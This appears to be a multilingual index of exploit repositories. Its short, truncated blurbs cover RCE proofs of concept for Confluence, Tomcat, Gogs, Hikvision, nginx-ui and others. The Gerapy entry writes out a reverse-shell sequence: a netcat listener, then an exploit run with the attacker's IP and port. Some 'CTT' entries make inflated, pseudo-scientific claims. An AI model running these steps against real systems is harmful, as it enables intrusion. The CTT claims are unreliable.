CVE-2026-47864 Unsafe Java deserialization in SerializingHttpMessageConverter — remote code execution

SerializingHttpMessageConverter deserializes the body of incoming HTTP requests with a raw java.io.ObjectInputStream and no class filtering. Any request with Content-Type application/x-java-serialized-object whose body resolves to a Serializable type is read directly via readObject. If an...

CVE-2023-22527

CVE-2023-22527 Questo repository presenta una proof-of-concept della CVE-2023-22527 CVE-2023-22527 | RCE tramite SSTI in Confluence Disclaimer Questo codice è una proof-of-concept della vulnerabilità; non incoraggio nessuno a utilizzarlo su istanze Confluence di cui non si è proprietari. Questo...

CVE-2021-43857-Gerapy-v0.9.7

CVE-2021-43857-Gerapy-v0.9.7 Connectez-vous au portail en tant qu'admin Ajoutez un nouveau projet sudo nc -lvnp 80 searchsploit -m python/remote/50640.py python3 ./50640.py -t IP-TARGET/URL -p PORT-TARGET -L YOUR-KALI-LINUX-IP -P YOUR-LISTENER-PORT python3 ./50640.py -t 192.168.106.24 -p 8000 -L...

CVE-2017-7269-Echo-PoC

CVE-2017-7269 दूरस्थ कोड निष्पादन इको सत्यापन हमारी टीम द्वारा इस CVE-2017-7269 भेद्यता का विश्लेषण रिपोर्ट: https://ht-sec.org/cve-2017-7269-vulnerabilities/ डिफ़ॉल्ट PoC केवल calc.exe चला सकता है, अब इसे अनुरोधों का जवाब देने के लिए संशोधित किया गया है, कमांड प्रारूप: CVE-2017-7269remoteecho.py...

FreePBX-Reverse-Shell-Module

FreePBX-Reverse-Shell-Module...

CVE-2025-55752

🚨🚨 CVE-2025-55752 — Apache Tomcat: Bypass de proteção de diretórios via Rewrite Valve → RCE via PUT🚨🚨 Resumo A CVE-2025-55752 é uma regressão de segurança no Apache Tomcat introduzida durante a correção do bug 60013. Quando o Rewrite Valve é utilizado, o Tomcat aplica a normalização de caminho...

CVE-2025-8110-Silentium-HTB

CVE-2025-8110 — Gogs RCE PoC Silentium / HackTheBox अस्वीकरण: यह उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत पैठ परीक्षण के लिए है। इसका उपयोग केवल उन प्रणालियों पर करें जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति है। यह zAbuQasem/gogs-CVE-2025-8110 का एक संशोधित संस्करण है, जिसे HackTheBox पर...

CVE-2026-0709

Ferramenta Hikvision Wireless AP – RCE Autenticado CVE-2026-0709 Esta ferramenta é uma prova de conceito em Python para testar pontos de acesso sem fio Hikvision quanto à CVE-2026-0709 , uma vulnerabilidade de injeção de comandos autenticada que pode levar à execução remota de código em...

Sovereign-Echo-33017

Exploit-Titel: Langflow 1.8.1 - Nicht authentifizierte Remote-Codeausführung RCE Datum: 2026-03-21 Exploit-Autor: Americo N. F. Simoes SimoesCTT Hersteller-Homepage: https://www.langflow.org/ Software-Link: https://github.com/langflow-ai/langflow Version: = 1.8.1 Getestet auf: Linux/Fedora 40...

CTT-NFS-Vortex-RCE

CTT-NFS-Vortex-RCE CVE-2026-21509 ⚠️ Technisches Advisory: New Physics Disclosure Dieses Repository enthält einen vollständig ausgereiften Exploit für CVE-2026-21509 , der den Windows Network File System NFSv4.1 Kernel-Mode-Treiber nfssvr.sys angreift. Im Gegensatz zu standardmäßigen PoCs, die auf...

CVE-2019-18935

CVE-2019-18935 Nuclei Template - Bounty Submission Dieses Repository enthält eine vollständige, validierte Nuclei-Vorlage zur Erkennung von CVE-2019-18935 Telerik UI for ASP.NET AJAX Deserialization RCE, erstellt für das ProjectDiscovery-Bounty-Programm. 🎯 Übersicht CVE-2019-18935 ist eine...

CTT-Mailpit-RCE-v1.0---Temporal-Resonance-Mail-Server-Takeover

🎯 CTT-Mailpit-Exploit: Punteggio Perfetto 11/10 Worm Zero-Click Trasforma una semplice injection nell'header SMTP CVE-2026-23829 in un worm RCE auto-propagante con punteggio perfetto utilizzando la Teoria del Tempo Convergente. 📊 Trasformazione del Punteggio: 6.1 → 11.0/10 ⭐ Metrica Originale...

CVE-2026-33032-nginx-ui-vuln-lab

CVE-2026-27944 + CVE-2026-33032 — nginx-ui Zero-Credential RCE Lab Haftungsausschluss: Dieses Repository dient ausschließlich Bildungs- und autorisierten Sicherheitsforschungszwecken. Alle hier demonstrierten Techniken sollten nur gegen Systeme eingesetzt werden, die Ihnen gehören oder für die Si...

CVE-2025-69600

CVE-2025-69600 autor: Rafael José Núñez Gulías empresa: Iberian Var Group Produtos afetados: RayVentory Scan Engine 12.6 Update 8 e versões anteriores Aviso da Raynet: RSEC200966 Injeção de comandos no rvia da Raynet permite que adversários executem comandos por meio das opções getconfig, upload,...

CVE-2024-3094

Security Review & Threat Model: CVE-2024-3094 xz-utils / OpenSSH Este repositório contém os resultados da análise da vulnerabilidade crítica CVE-2024-3094 backdoor na biblioteca liblzma do pacote xz-utils, que leva a RCE através do processo OpenSSH. No âmbito do projeto, foi preparado um ambiente...

-CVE-2023-33177-

Testador de Vulnerabilidade Xibo CMS CVE-2023-33177 Ferramenta automatizada de teste de segurança para CVE-2023-33177 - Vulnerabilidade de Path Traversal Zip Slip no Xibo CMS que leva à Execução Remota de Código RCE. ⚠️ Aviso Legal Esta ferramenta é apenas para fins educacionais e de teste...

CVE-2014-6271-IPFire

CVE-2014-6271 CVE-2014-6271 的 Python 实现：IP Fire =2.15 ShellShock RCE 基于同一漏洞利用的 Metasploit 模块（EDB ID: 34839） 该漏洞利用程序可自动运行。查看 ./CVE-2014-6271.py --help 获取全部开关选项 警告： 本仓库中的代码仅可用于学术/道德目的。作者不认可将此漏洞利用用于任何其他目的——它只能用于您拥有或已获授权测试的系统。...

CVE-2026-20841

CVE-2026-20841 - RCE in Blocco note di Windows PoC per una vulnerabilità di esecuzione remota di codice nel renderer Markdown del Blocco note di Windows. Il motore Markdown non limita i protocolli URL, consentendo l'attivazione di gestori di protocollo arbitrari tramite link cliccabili...

CVE-2025-61882

Scanner RCE per Oracle E-Business Suite CVE-2025-61882 Uno scanner bulk veloce e multi-thread per rilevare CVE-2025-61882 nelle installazioni di Oracle E-Business Suite. Questa vulnerabilità critica consente l'esecuzione remota di codice non autenticata. 🎯 Funzionalità Scansione Bulk - Elabora...

CVE-2026-37637

CVE-2026-37637 Proof of Concept per CVE-2026-37637 - Remote Code Execution in Alexantr filemanager v1.0 tramite upload di file senza restrizioni in filemanager.php. Panoramica CVE-2026-37637 è una vulnerabilità di Remote Code Execution che colpisce Alexantr filemanager v1.0. La vulnerabilità...